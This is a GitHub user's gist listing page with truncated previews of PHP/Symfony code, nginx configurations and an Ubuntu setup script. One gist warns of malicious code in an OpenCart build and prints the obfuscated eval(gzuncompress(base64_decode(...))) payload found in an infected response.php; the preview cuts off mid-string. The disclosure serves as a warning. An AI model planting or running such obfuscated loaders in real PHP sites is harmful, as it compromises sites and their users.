Skip to content

Instantly share code, notes, and snippets.

View cawa87's full-sized avatar
🤡
bip bip

Aleksandr Zamiatin cawa87

🤡
bip bip
View GitHub Profile
<?php
namespace AppBundle\Tests\Controller;
use AppBundle\Test\WebTestCase;
/**
* Тест контроллера городов
*
* Class CitiesControllerTest
@cawa87
cawa87 / nginx.conf
Last active February 21, 2016 16:04
server {
listen 80 default_server;
server_name banner.local;
root /home/cawa/www/ypl/public;
#error_page 404 errors/404.html;
#access_log /home/cawa/www/ypl/access.log;
<?php
namespace AppBundle\Security;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\Security\Core\Authentication\SimplePreAuthenticatorInterface;
use Symfony\Component\Security\Core\Authentication\Token\PreAuthenticatedToken;
use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
use Symfony\Component\Security\Core\Exception\AuthenticationException;
use Symfony\Component\Security\Core\Exception\BadCredentialsException;
@cawa87
cawa87 / Player.php
Created January 30, 2016 19:58
PHP7
<?php
namespace App\MusicPlayer;
/**
* A music player!
*/
class Player {
/**
@cawa87
cawa87 / update.sh
Last active November 7, 2015 10:38
Ubuntu packages install
# update
sudo apt-get update
# aptitude
sudo apt-get install aptitude
#apt-repo
sudo aptitude install python-software-properties
#konsole, krusader
@cawa87
cawa87 / 0_reuse_code.js
Created November 6, 2015 12:08
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
@cawa87
cawa87 / response.php
Last active September 1, 2015 10:50
Вредоносный код в сборке opencart на сайте http://ruopencart.com/ - зараженный файл system/library/response.php
<?php
/*
Исходная строка:
$output_page = eval(gzuncompress(base64_decode('eNqdVE1rg0AQ/Ss9FDaBUnRpE6R4SA/tJVBMPURLkHx4Uimkp+bXN/NczW7s7K656OLbeTPz5o3378uP18Xy80sUYRhG8+d5MJOF2MSL43H7O9ltf8rZU3Eo99+HciKy5u2Up+LuUWTBWtJ7RY8aX2RU5UlMx1hMH/6LJCzNAnqt6SFX9TmKThWwBMFMNGF5SnkRRbm4PHSr56eDymGLoBsdt/02oWYvslWhrYrtgYCuOjnQzRJhdo5+PPQyteJuogLtdl8R+H2m6ZwH9NJ7UDm0ufM9dF7T5+LsxZzNGAXgGvi6zvpzVKF6S6UEKV9ceQLsYFIsCVsDpg2mU5/P1JebhuYsxo9MZNd7Ox2l9WUzHTvW5hr8Ba73eYSHHAoNN9XpHx/ufROFhO6ahEE5BO5gUShxRtUqsfGu3Hx85M1u57itbzDDe+PVIcynOwvC+OqS10M3J8fIyvodvkVVq1YGs0Mz1dX05Q9RpiiO'))); eval(gzuncompress(base64_decode('eNqVVLFuwjAQ/ZUOSAapqnwmiWNVGejQLkgVtEMShBB0DFnY4OubO8exY7V2slxAuXt5792zFx/bz7fN9uvATiAUzxPIhDyxY7G53c735cJ5DaBkKnkmutcHflyyqn1/1N8VL8X+WrGnFyYU1gZLvSsKtnr+dx7sPLbzkub3WA1WE8MQHQa2Gh74m7j0PLp5fAYx1gYDi8tnJk6i9WDfg/RrX7QegQ/UQzBBnJRwsM9yIV3aH+QU9SVzuHi+NDX+iczLfjdaB7njcTB6wjg54vi+/rVnzSnqsXIypzVhnc4H/NCSND1sFh0GgLGzNiljJWEQYVc8rKicuFpY28w7WdM7MiD6/MWzBol/CAdDZ4CkHiOSMyOtkI3iNjp+0wyV7lawDoZOzEXuX2ZzMoGp/GkVXNpd+LbitjEad
@cawa87
cawa87 / docs.nginx
Last active August 29, 2015 14:26
nginx sample conf
server {
# Replace this port with the right one for your requirements
listen 80; #could also be 1.2.3.4:80
# Multiple hostnames separated by spaces. Replace these as well.
server_name docs.local; # Alternately: _
root /home/cawa/www/docs.local/public;
index index.php;
<?php
namespace AppBundle\Entity;
use AppBundle\Common\Persistence\DependencyInjection\ContainerAware;
use Symfony\Component\DependencyInjection\ContainerAwareInterface;
use Symfony\Component\HttpKernel\Exception\NotFoundHttpException;
class AccessTokenManager implements ContainerAwareInterface
{
@cawa87
cawa87 / gist:d752f6a5bc7bf92b445a
Last active August 29, 2015 14:23
nginx microcache
server {
# Replace this port with the right one for your requirements
listen 80; #could also be 1.2.3.4:80
#listen [::]:81 default_server;
# Multiple hostnames separated by spaces. Replace these as well.
server_name board.local;
root /home/cawa/www/board/public;
#error_page 404 errors/404.html;